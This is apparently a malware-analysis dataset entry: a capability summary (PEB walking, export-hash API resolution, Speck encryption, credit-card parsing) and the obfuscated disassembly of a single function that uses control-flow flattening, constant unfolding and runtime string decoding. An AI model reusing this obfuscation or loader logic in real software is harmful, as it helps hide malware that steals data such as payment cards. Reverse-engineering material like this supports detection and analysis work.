Function at 0x1400de2b4
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Hash data using fnv
Hash data using murmur3
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x7c1095d1
pushf
not eax
add eax, 0xc30f23a5
xor eax, 0x8962acd6
rol eax, 0x89
popf
pushf
not eax
add eax, 0x820f5fc9
xor eax, 0xadc09ea6
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xcc777c9d
xor eax, 0xf736a9d0
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xaf1522c3
xor eax, 0x93c048fc
rol eax, 0xc6
popf
cmp eax, 0x29
jne 0x1400de317
popf
pop rax
jmp 0x1400e0b19
cmp eax, 0
jne 0x1400de326
popf
pop rax
jmp 0x1400de6d7
cmp eax, 0x3f
jne 0x1400de335
popf
pop rax
jmp 0x1400e1e1b
cmp eax, 1
jne 0x1400de344
popf
pop rax
jmp 0x1400de7b4
cmp eax, 0xd
jne 0x1400de353
popf
pop rax
jmp 0x1400df7ab
cmp eax, 0x1a
jne 0x1400de362
popf
pop rax
jmp 0x1400e0109
cmp eax, 0xe
jne 0x1400de371
popf
pop rax
jmp 0x1400df8ee
cmp eax, 0x31
jne 0x1400de380
popf
pop rax
jmp 0x1400e137a
cmp eax, 0x40
jne 0x1400de38f
popf
pop rax
jmp 0x1400e1e66
cmp eax, 8
jne 0x1400de39e
popf
pop rax
jmp 0x1400df137
cmp eax, 0x2a
jne 0x1400de3ad
popf
pop rax
jmp 0x1400e0d85
cmp eax, 0x17
jne 0x1400de3bc
popf
pop rax
jmp 0x1400e004f
cmp eax, 0x1c
jne 0x1400de3cb
popf
pop rax
jmp 0x1400e0287
cmp eax, 0x2e
jne 0x1400de3da
popf
pop rax
jmp 0x1400e1039
cmp eax, 0x18
jne 0x1400de3e9
popf
pop rax
jmp 0x1400e0096
cmp eax, 0x2b
jne 0x1400de3f8
popf
pop rax
jmp 0x1400e0f00
cmp eax, 0x1b
jne 0x1400de407
popf
pop rax
jmp 0x1400e01b8
cmp eax, 0x2d
jne 0x1400de416
popf
pop rax
jmp 0x1400e0f94
cmp eax, 0x23
jne 0x1400de425
popf
pop rax
jmp 0x1400e06a4
cmp eax, 0x25
jne 0x1400de434
popf
pop rax
jmp 0x1400e083d
cmp eax, 0x32
jne 0x1400de443
popf
pop rax
jmp 0x1400e13bd
cmp eax, 0x13
jne 0x1400de452
popf
pop rax
jmp 0x1400dfc92
cmp eax, 0x33
jne 0x1400de461
popf
pop rax
jmp 0x1400e144f
cmp eax, 0x24
jne 0x1400de470
popf
pop rax
jmp 0x1400e07df
cmp eax, 0x1e
jne 0x1400de47f
popf
pop rax
jmp 0x1400e03c9
cmp eax, 0xc
jne 0x1400de48e
popf
pop rax
jmp 0x1400df733
cmp eax, 0x26
jne 0x1400de49d
popf
pop rax
jmp 0x1400e09a3
cmp eax, 0x27
jne 0x1400de4ac
popf
pop rax
jmp 0x1400e0a14
cmp eax, 0x30
jne 0x1400de4bb
popf
pop rax
jmp 0x1400e12a7
cmp eax, 0x10
jne 0x1400de4ca
popf
pop rax
jmp 0x1400dfb4f
cmp eax, 0x37
jne 0x1400de4d9
popf
pop rax
jmp 0x1400e15e2
cmp eax, 9
jne 0x1400de4e8
popf
pop rax
jmp 0x1400df300
cmp eax, 0x39
jne 0x1400de4f7
popf
pop rax
jmp 0x1400e16d6
cmp eax, 0x16
jne 0x1400de506
popf
pop rax
jmp 0x1400dffd0
cmp eax, 0x3b
jne 0x1400de515
popf
pop rax
jmp 0x1400e17f9
cmp eax, 0xa
jne 0x1400de524
popf
pop rax
jmp 0x1400df464
cmp eax, 0x36
jne 0x1400de533
popf
pop rax
jmp 0x1400e1546
cmp eax, 0x14
jne 0x1400de542
popf
pop rax
jmp 0x1400dfd2b
cmp eax, 7
jne 0x1400de551
popf
pop rax
jmp 0x1400df0fd
cmp eax, 0x3d
jne 0x1400de560
popf
pop rax
jmp 0x1400e1baf
cmp eax, 2
jne 0x1400de56f
popf
pop rax
jmp 0x1400de7ee
cmp eax, 0x20
jne 0x1400de57e
popf
pop rax
jmp 0x1400e04d2
cmp eax, 0x1d
jne 0x1400de58d
popf
pop rax
jmp 0x1400e02e5
cmp eax, 0x11
jne 0x1400de59c
popf
pop rax
jmp 0x1400dfba2
cmp eax, 0x35
jne 0x1400de5ab
popf
pop rax
jmp 0x1400e14f5
cmp eax, 0x3a
jne 0x1400de5ba
popf
pop rax
jmp 0x1400e1794
cmp eax, 0x12
jne 0x1400de5c9
popf
pop rax
jmp 0x1400dfbf0
cmp eax, 0x21
jne 0x1400de5d8
popf
pop rax
jmp 0x1400e0531
cmp eax, 0x38
jne 0x1400de5e7
popf
pop rax
jmp 0x1400e168b
cmp eax, 0xb
jne 0x1400de5f6
popf
pop rax
jmp 0x1400df6ea
cmp eax, 0xf
jne 0x1400de605
popf
pop rax
jmp 0x1400df9c1
cmp eax, 0x15
jne 0x1400de614
popf
pop rax
jmp 0x1400dff7a
cmp eax, 5
jne 0x1400de623
popf
pop rax
jmp 0x1400def71
cmp eax, 6
jne 0x1400de632
popf
pop rax
jmp 0x1400defeb
cmp eax, 0x22
jne 0x1400de641
popf
pop rax
jmp 0x1400e05f6
cmp eax, 0x3c
jne 0x1400de650
popf
pop rax
jmp 0x1400e1b2f
cmp eax, 0x1f
jne 0x1400de65f
popf
pop rax
jmp 0x1400e041b
cmp eax, 4
jne 0x1400de66e
popf
pop rax
jmp 0x1400deeed
cmp eax, 0x2f
jne 0x1400de67d
popf
pop rax
jmp 0x1400e110b
cmp eax, 0x28
jne 0x1400de68c
popf
pop rax
jmp 0x1400e0aab
cmp eax, 0x3e
jne 0x1400de69b
popf
pop rax
jmp 0x1400e1cc4
cmp eax, 0x34
jne 0x1400de6aa
popf
pop rax
jmp 0x1400e1493
cmp eax, 0x2c
jne 0x1400de6b9
popf
pop rax
jmp 0x1400e0f43
cmp eax, 3
jne 0x1400de6c8
popf
pop rax
jmp 0x1400deeaf
cmp eax, 0x19
jne 0x1400de6d7
popf
pop rax
jmp 0x1400e00e8
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x308
call fcn.1400af5c3
mov rcx, qword [rsp + 0x330]
call fcn.14012ae68
mov dword [rsp + 0x5c], eax
mov ecx, dword [rsp + 0x5c]
call fcn.14012a9d9
cmp dword [rsp + 0x5c], 0
jne 0x1400de76e
push rax
pushf
mov eax, 0x75e6ac58
pushf
not eax
add eax, 0xd1087052
xor eax, 0x890f1177
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xc73858df
xor eax, 0xe169ac83
rol eax, 0x33
popf
pushf
not eax
add eax, 0x99ce86fa
xor eax, 0x85bf50bd
rol eax, 0x1d
popf
pushf
not eax
add eax, 0x99b8536e
xor eax, 0xfef91c78
rol eax, 0xeb
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x2cd90381
pushf
not eax
add eax, 0xc2a3daea
xor eax, 0xd1683310
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xf9b4fdbd
xor eax, 0xe70c8bb0
rol eax, 0x46
popf
pushf
not eax
add eax, 0xeba6d965
xor eax, 0x943acfa3
rol eax, 0xa5
popf
jmp 0x1400de308
xor al, al
jmp 0x1400e1e9c
mov ecx, dword [rsp + 0x5c]
call fcn.14012711d
mov qword [rsp + 0x1a8], rax
xor edx, edx
mov rcx, qword [rsp + 0x1a8]
jmp 0x1400de80a
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rsp + 0x278], eax
mov eax, 0xf599afd4
pushf
not eax
add eax, 0xcadf1e22
xor eax, 0xf083b101
rol eax, 0x50
popf
pushf
not eax
add eax, 0xdd0de8aa
xor eax, 0x87a01401
rol eax, 0x70
popf
pushf
not eax
add eax, 0xacfcf875
xor eax, 0xd61a7a13
rol eax, 0x96
popf
imul rax, rax, 0
lea rcx, [0x199009f3c]
pushf
sub rcx, 0x58fd8334
popf
xor edx, edx
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x34], al
mov eax, 0xa2923a87
pushf
not eax
add eax, 0xe4a65cfc
xor eax, 0xa404c0f7
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x96de43dc
xor eax, 0x8dad6ab7
rol eax, 0x13
popf
pushf
not eax
add eax, 0xebad1dd1
xor eax, 0x9478c675
rol eax, 0x6e
popf
imul rax, rax, 1
lea rcx, [0x1baa5b1bf]
pushf
sub rcx, 0x7aa295b7
popf
mov edx, 0x14e81ee6
pushf
not edx
add edx, 0x95a2e39e
xor edx, 0x87455a1c
rol edx, 0xc4
popf
pushf
not edx
add edx, 0xbdc1bc28
xor edx, 0xa10d2f21
rol edx, 0x81
popf
pushf
not edx
add edx, 0xfb406873
xor edx, 0xc18a6bc5
rol edx, 0xcb
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x35], al
mov eax, 0x5c19864b
pushf
not eax
add eax, 0xdfd3f47d
xor eax, 0xbf4c84d8
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xdf1ef5d2
xor eax, 0x9462053b
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x9576b17c
xor eax, 0x99a4c08e
rol eax, 0x64
popf
pushf
not eax
add eax, 0xc8105b9d
xor eax, 0x892b60e3
rol eax, 2
popf
imul rax, rax, 2
lea rcx, [0x18c9fc1fe]
pushf
sub rcx, 0x4c9ca5f6
popf
mov edx, 0x92cad593
pushf
not edx
add edx, 0xf5dbfe21
xor edx, 0xd6e935e7
rol edx, 0xa2
popf
pushf
not edx
add edx, 0xe6fd4f4f
xor edx, 0xc8b17691
rol edx, 0x58
popf
pushf
not edx
add edx, 0xbf0ff144
xor edx, 0x89084394
rol edx, 0x2b
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x36], al
mov eax, 0xa3ebd4fa
pushf
not eax
add eax, 0x8789cb86
xor eax, 0xafd89779
rol eax, 0x85
popf
pushf
not eax
add eax, 0x861f7cce
xor eax, 0xbce0b876
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xd34f1ad6
xor eax, 0xbe1352e4
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x9e24adce
xor eax, 0x84fca25d
rol eax, 0x4e
popf
imul rax, rax, 3
lea rcx, [0x19e9e3b82]
pushf
sub rcx, 0x5e9b1f7a
popf
mov edx, 0x7e8a542f
pushf
not edx
add edx, 0xcdc8b1ee
xor edx, 0xfc31063f
rol edx, 0x44
popf
pushf
not edx
add edx, 0xcb1ff5cb
xor edx, 0x94c21100
rol edx, 0x7e
popf
pushf
not edx
add edx, 0xeabb8dad
xor edx, 0x8cab4da6
rol edx, 0xef
popf
pushf
not edx
add edx, 0xf8c628be
xor edx, 0x923252e8
rol edx, 0x48
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x37], al
mov eax, 0x203653d
pushf
not eax
add eax, 0xfb2a0d14
xor eax, 0x9d09da61
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xcb252131
xor eax, 0xed90633a
rol eax, 0xce
popf
imul rax, rax, 4
lea rcx, [0x1bbaef409]
pushf
sub rcx, 0x7babd801
popf
mov edx, 0x3c604e28
pushf
not edx
add edx, 0xf5bfcbf8
xor edx, 0xb1e109bf
rol edx, 0x9f
popf
pushf
not edx
add edx, 0xa20f40b3
xor edx, 0xad44f634
rol edx, 0xc0
popf
pushf
not edx
add edx, 0xf563e3b5
xor edx, 0xc46efb66
rol edx, 0x37
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x38], al
mov eax, 0xc49844c9
pushf
not eax
add eax, 0xde697a46
xor eax, 0xacb720e8
rol eax, 0x46
popf
pushf
not eax
add eax, 0xdaffb062
xor eax, 0xd574edaf
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xc98a2dfa
xor eax, 0xf4860453
rol eax, 0x91
popf
imul rax, rax, 5
lea rcx, [0x19f315d79]
pushf
sub rcx, 0x5f2e4171
popf
mov edx, 0x889435d3
pushf
not edx
add edx, 0xf5322363
xor edx, 0x8596fb2b
rol edx, 0xe5
popf
pushf
not edx
add edx, 0xfbf60242
xor edx, 0x9cf4eabd
rol edx, 0x63
popf
pushf
not edx
add edx, 0xb23eaec0
xor edx, 0xad07d43c
rol edx, 0x37
popf
pushf
not edx
add edx, 0xf14b4896
xor edx, 0x8c6244c7
rol edx, 0x61
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x39], al
mov eax, 0x39a80968
pushf
not eax
add eax, 0xbec31f5c
xor eax, 0x83810e4d
rol eax, 0x10
popf
pushf
not eax
add eax, 0xf1adca65
xor eax, 0xd5ef83ca
rol eax, 0x72
popf
imul rax, rax, 6
lea rcx, [0x1a5e79078]
pushf
sub rcx, 0x65e47470
popf
mov edx, 0xe53d7a
pushf
not edx
add edx, 0x9471fd39
xor edx, 0x97b6e721
rol edx, 0x75
popf
pushf
not edx
add edx, 0xcdc7af55
xor edx, 0xbfe72809
rol edx, 0xa8
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x3a], al
mov eax, 0x8e642bb0
pushf
not eax
add eax, 0xaa4da0cf
xor eax, 0xb908d828
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xa0d9f321
xor eax, 0xf7d7fd48
rol eax, 0
popf
pushf
not eax
add eax, 0xec63c9cd
xor eax, 0xdbb134eb
rol eax, 0xa7
popf
pushf
not eax
add eax, 0x9e5dcf37
xor eax, 0xff07f7b7
rol eax, 0x4a
popf
imul rax, rax, 7
lea rcx, [0x1a28cddc0]
pushf
sub rcx, 0x6289c1b8
popf
mov edx, 0xc7f6b111
pushf
not edx
add edx, 0xa205bada
xor edx, 0x9a587692
rol edx, 0xab
popf
pushf
not edx
add edx, 0xb05efe1b
xor edx, 0xe203be5e
rol edx, 0xb9
popf
pushf
not edx
add edx, 0xb61b1cad
xor edx, 0xfdb23aa0
rol edx, 0x38
popf
pushf
not edx
add edx, 0xaf18fd6c
xor edx, 0x8644aef4
rol edx, 0xf7
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x3b], al
mov eax, 0x48e50d92
pushf
not eax
add eax, 0xb6b86472
xor eax, 0xef0cf896
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xb802c066
xor eax, 0xdd7429f5
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xf57ad1e5
xor eax, 0xd730bc4c
rol eax, 0xc2
popf
imul rax, rax, 8
lea rcx, [0x1a56f932c]
pushf
sub rcx, 0x656c7724
popf
mov edx, 0xdae309fc
pushf
not edx
add edx, 0xe44dad8d
xor edx, 0xec142846
rol edx, 0xb
popf
pushf
not edx
add edx, 0x81a8cf0b
xor edx, 0x89bfa7ed
rol edx, 0x62
popf
pushf
not edx
add edx, 0xc24f013d
xor edx, 0xb636bd47
rol edx, 0x8d
popf
pushf
not edx
add edx, 0xb5d06e2f
xor edx, 0xd62e0b25
rol edx, 0x91
popf
movzx ecx, byte [rcx + rax]
call fcn.140159c39
mov byte [rsp + 0x3c], al
lea rax, [rsp + 0x3d]
lea rax, [rsp + 0x3d]
mov rdi, rax
xor eax, eax
mov ecx, 0x51b91ed2
pushf
not ecx
add ecx, 0xf3127438
xor ecx, 0xd8947138
rol ecx, 0x57
popf
pushf
not ecx
add ecx, 0x84bacc58
xor ecx, 0xb2247294
rol ecx, 0x2b
popf
pushf
not ecx
add ecx, 0xb889d3ba
xor ecx, 0xebcf407b
rol ecx, 0x36
popf
rep stosb byte [rdi], al
mov dword [rsp + 0x28], 0
jmp 0x1400deeed
mov eax, dword [rsp + 0x28]
jmp 0x1400deeb4
inc eax
mov dword [rsp + 0x28], eax
push rax
pushf
mov eax, 0xce331e9d
pushf
not eax
add eax, 0xdde62706
xor eax, 0x9a32b263
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x8d1d60b9
xor eax, 0x86753262
rol eax, 0xac
popf
jmp 0x1400de308
movsxd rax, dword [rsp + 0x28]
cmp rax, 9
jae 0x1400def2b
push rax
pushf
mov eax, 0xb1802767
pushf
not eax
add eax, 0xe435731f
xor eax, 0xcc69b6b9
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x8dc44341
xor eax, 0xebe462a1
rol eax, 0x18
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x9ae9627c
pushf
not eax
add eax, 0xcdb36388
xor eax, 0xd4178c38
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xea076f7c
xor eax, 0xbf4c40ea
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xded85f56
xor eax, 0x9371d7f5
rol eax, 0xfb
popf
jmp 0x1400de308
movsxd rax, dword [rsp + 0x28]
movsx eax, byte [rsp + rax + 0x34]
mov ecx, dword [rsp + 0x28]
add ecx, 0x13
xor eax, ecx
movsxd rcx, dword [rsp + 0x28]
mov byte [rsp + rcx + 0x34], al
jmp 0x1400deeaf
mov eax, 0xafc4c12d
pushf
not eax
add eax, 0xcf35125e
xor eax, 0x8f80cd2f
rol eax, 5
popf
pushf
not eax
add eax, 0xa3079ada
xor eax, 0xd9960d53
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xda14bfdc
xor eax, 0x89d634d0
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x8980194f
xor eax, 0x8123f44a
rol eax, 0xa
popf
imul rax, rax, 9
mov byte [rsp + rax + 0x34], 0
lea rax, [rsp + 0x34]
mov rcx, rax
jmp 0x1400df04e
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x1400df0a4
push rax
pushf
mov eax, 0x19c442b3
pushf
not eax
add eax, 0xff6506e9
xor eax, 0x9e4ac2c5
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xd1bb41b5
xor eax, 0xe21325cb
rol eax, 0x1d
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xdc9b7d06
pushf
not eax
add eax, 0xc2bb76b0
xor eax, 0xa1b1a8b6
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe725d267
xor eax, 0xea2072c5
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xf092e9ff
xor eax, 0xa1bb85e0
rol eax, 0x34
popf
pushf
not eax
add eax, 0xfdcac097
xor eax, 0xef3018d6
rol eax, 0x5d
popf
jmp 0x1400de308
xor al, al
jmp 0x1400e1e9c
mov rcx, qword [rsp + 0x70]
call fcn.1400cec8a
mov qword [rsp + 0x50], rax
call fcn.14012d441
mov eax, dword [0x140040214]
mov dword [rsp + 0xf0], eax
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x2e73f121
pushf
not ecx
add ecx, 0xc5989a37
xor ecx, 0xcfcb4709
rol ecx, 0xdc
popf
pushf
not ecx
add ecx, 0xc4b682a9
xor ecx, 0x8921c911
rol ecx, 0xf5
popf
pushf
not ecx
add ecx, 0xb9a21a40
xor ecx, 0xf50b475c
rol ecx, 0xf4
popf
pushf
not ecx
add ecx, 0xc002be8c
xor ecx, 0xdd5c010a
rol ecx, 0x2e
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2a8]
lea rcx, [0x18d2e48c8]
pushf
sub rcx, 0x4d2b2ab0
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xff487ed5
pushf
not ecx
add ecx, 0xe009830a
xor ecx, 0xd9ddfabb
rol ecx, 0x4d
popf
pushf
not ecx
add ecx, 0xdd4329c6
xor ecx, 0x8beef0f4
rol ecx, 0xe9
popf
pushf
not ecx
add ecx, 0xe3012b26
xor ecx, 0x8b6ccb53
rol ecx, 0xe3
popf
pushf
not ecx
add ecx, 0xa01e98fe
xor ecx, 0x9898e1a0
rol ecx, 3
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x2a8]
call fcn.1400c6726
mov qword [rsp + 0x1b0], rax
mov edx, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0x1b0]
call fcn.1400fd00d
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
jne 0x1400df2a7
push rax
pushf
mov eax, 0x502eb687
pushf
not eax
add eax, 0xfa1c0a8e
xor eax, 0xd01e7104
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xf40bf66a
xor eax, 0xef19301f
rol eax, 0x13
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x22319efd
pushf
not eax
add eax, 0xc1612b70
xor eax, 0xaefcfd29
rol eax, 0x97
popf
pushf
not eax
add eax, 0xb821a50b
xor eax, 0xf71a20e0
rol eax, 0xc
popf
pushf
not eax
add eax, 0xcc6033b2
xor eax, 0xfe2a3899
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x8deabe7a
xor eax, 0xed3c767c
rol eax, 0x1c
popf
jmp 0x1400de308
mov eax, dword [0x140040214]
mov dword [rsp + 0xf4], eax
lea rax, [rsp + 0x59]
mov rdi, rax
xor eax, eax
mov ecx, 0x41f2a535
pushf
not ecx
add ecx, 0xcd7ec966
xor ecx, 0xd962c857
rol ecx, 0xdc
popf
pushf
not ecx
add ecx, 0xd0ae15f9
xor ecx, 0x88c82485
rol ecx, 0x53
popf
pushf
not ecx
add ecx, 0xdeb615aa
xor ecx, 0xcb6e9d00
rol ecx, 0xdc
popf
pushf
not ecx
add ecx, 0xa04bd6ff
xor ecx, 0x8f923c4f
rol ecx, 0x16
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x2ce]
lea rcx, [0x1ba7466f6]
pushf
sub rcx, 0x7a71488e
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xaf6b48e0
pushf
not ecx
add ecx, 0xf64b79f6
xor ecx, 0xe7e72ca4
rol ecx, 0x3e
popf
pushf
not ecx
add ecx, 0xdf275eae
xor ecx, 0xa56fc211
rol ecx, 0x2f
popf
pushf
not ecx
add ecx, 0xe7dded2d
xor ecx, 0x958bc939
rol ecx, 0x2d
popf
pushf
not ecx
add ecx, 0xb910f5b1
xor ecx, 0xa3c53099
rol ecx, 0x67
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x2ce]
call fcn.1400c6726
mov qword [rsp + 0x1b8], rax
mov edx, dword [rsp + 0xf4]
mov rcx, qword [rsp + 0x1b8]
call fcn.1400fd00d
mov qword [rsp + 0x90], rax
push rax
pushf
mov eax, 0xab248148
pushf
not eax
add eax, 0xe1a372dc
xor eax, 0xac2604f3
rol eax, 0x61
popf
pushf
not eax
add eax, 0xeebdf346
xor eax, 0xeaf659ab
rol eax, 0
popf
pushf
not eax
add eax, 0xf77021c6
xor eax, 0xa6749096
rol eax, 0xb3
popf
jmp 0x1400de308
mov edx, dword [0x140040214]
lea rcx, [0x19da00a60]
pushf
sub rcx, 0x5d9cee48
popf
call fcn.1400fd00d
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
add rax, 0x386008
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x90]
add rax, 0x1000
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x90]
add rax, 0x2000
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x90]
add rax, 0x50000
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call fcn.1400fbabc
movzx eax, al
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x70]
call fcn.1400a54ff
movzx eax, al
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
mov r8d, 0x923a66c6
pushf
not r8d
add r8d, 0xca6baf9b
xor r8d, 0x861e010f
rol r8d, 0x6c
popf
pushf
not r8d
add r8d, 0x8d712a67
xor r8d, 0x8fb204ab
rol r8d, 0x20
popf
pushf
not r8d
add r8d, 0xdd1b656f
xor r8d, 0x85b9fb3f
rol r8d, 0x64
popf
mov edx, eax
mov rcx, qword [rsp + 0x48]
call fcn.140161ab2
mov r8d, 0x9521fc5e
pushf
not r8d
add r8d, 0xde20a9d5
xor r8d, 0xde95a874
rol r8d, 0xa1
popf
pushf
not r8d
add r8d, 0xa4fdd44a
xor r8d, 0x883c0c3e
rol r8d, 0xca
popf
pushf
not r8d
add r8d, 0xb0dad1f2
xor r8d, 0x8cafe504
rol r8d, 0x72
popf
pushf
not r8d
add r8d, 0x92a6189e
xor r8d, 0x85cee0e1
rol r8d, 0x99
popf
mov edx, 0x8b282352
pushf
not edx
add edx, 0xfa81202a
xor edx, 0xc4cfa428
rol edx, 0x24
popf
pushf
not edx
add edx, 0xa062bbae
xor edx, 0xa0c234d9
rol edx, 0x43
popf
pushf
not edx
add edx, 0xfb9098ef
xor edx, 0xc8179d9c
rol edx, 0xd3
popf
mov rcx, qword [rsp + 0x138]
call fcn.140161ab2
mov qword [rsp + 0x1c8], 0
mov r8d, 0x2e1c3d74
pushf
not r8d
add r8d, 0x8cd61e7a
xor r8d, 0xb41a968c
rol r8d, 0xf5
popf
pushf
not r8d
add r8d, 0x993a806b
xor r8d, 0xa7ff2bfc
rol r8d, 0xf2
popf
lea rdx, [rsp + 0x1c8]
mov rcx, qword [rsp + 0x138]
call fcn.140081885
mov qword [rsp + 0xa8], 0
jmp 0x1400df733
mov rax, qword [rsp + 0xa8]
add rax, 0x1000
mov qword [rsp + 0xa8], rax
push rax
pushf
mov eax, 0x2010c146
pushf
not eax
add eax, 0x9636bf4a
xor eax, 0x8b22e696
rol eax, 0xad
popf
pushf
not eax
add eax, 0xcd227f4f
xor eax, 0xea3fbfae
rol eax, 0xae
popf
jmp 0x1400de308
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xa8], rax
jae 0x1400df778
push rax
pushf
mov eax, 0x92e781fe
pushf
not eax
add eax, 0x9c59fe8d
xor eax, 0xecfbca75
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xc04a8ef8
xor eax, 0xc6e81539
rol eax, 0xf6
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xe11ce0d
pushf
not eax
add eax, 0xe4b621ea
xor eax, 0xe4aeff50
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xac1621d7
xor eax, 0x8b6b591d
rol eax, 0xa0
popf
jmp 0x1400de308
mov ecx, 0x74ef2bc2
pushf
not ecx
add ecx, 0xda91ea97
xor ecx, 0xe0f0b106
rol ecx, 0xf
popf
pushf
not ecx
add ecx, 0xfa19f802
xor ecx, 0xb230b558
rol ecx, 0x6e
popf
jmp 0x1400df7db
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x160], rax
mov rdi, qword [rsp + 0x160]
xor eax, eax
mov ecx, 0xa3915d5f
pushf
not ecx
add ecx, 0xd51c9896
xor ecx, 0xfa570b3c
rol ecx, 0xe1
popf
pushf
not ecx
add ecx, 0x8cf7b2d8
xor ecx, 0xcbed71b0
rol ecx, 0x90
popf
pushf
not ecx
add ecx, 0xfc9d6090
xor ecx, 0x992b21bd
rol ecx, 0xce
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0xb1a180f6
pushf
not r8d
add r8d, 0x933d4646
xor r8d, 0xf391393f
rol r8d, 0xd7
popf
pushf
not r8d
add r8d, 0xf781b401
xor r8d, 0xb0aabc4e
rol r8d, 0x46
popf
pushf
not r8d
add r8d, 0xf22e3624
xor r8d, 0xfda88320
rol r8d, 0x1c
popf
mov rdx, qword [rsp + 0x160]
mov rcx, rax
call fcn.140081885
jmp 0x1400df6ea
mov r8d, 0x3256a799
pushf
not r8d
add r8d, 0xa5162a14
xor r8d, 0xbf30f0f5
rol r8d, 0x95
popf
pushf
not r8d
add r8d, 0xd9bbcb08
xor r8d, 0x87c31919
rol r8d, 0x1c
popf
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call fcn.140081885
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x130], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x128], rax
push rax
pushf
mov eax, 0xabeed44d
pushf
not eax
add eax, 0xd7aacf1a
xor eax, 0xf0112ca2
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xa4078868
xor eax, 0xb951d0b1
rol eax, 0x76
popf
jmp 0x1400de308
mov rax, qword [rsp + 0x128]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xb0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x1e8], rax
mov eax, 0x24c4dcdb
pushf
not eax
add eax, 0xcd03dfd0
xor eax, 0x930cd039
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xd5e55109
xor eax, 0xbd44cc7f
rol eax, 0x44
popf
pushf
not eax
add eax, 0xc2031531
xor eax, 0xb3dba72c
rol eax, 0x6a
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x1e8]
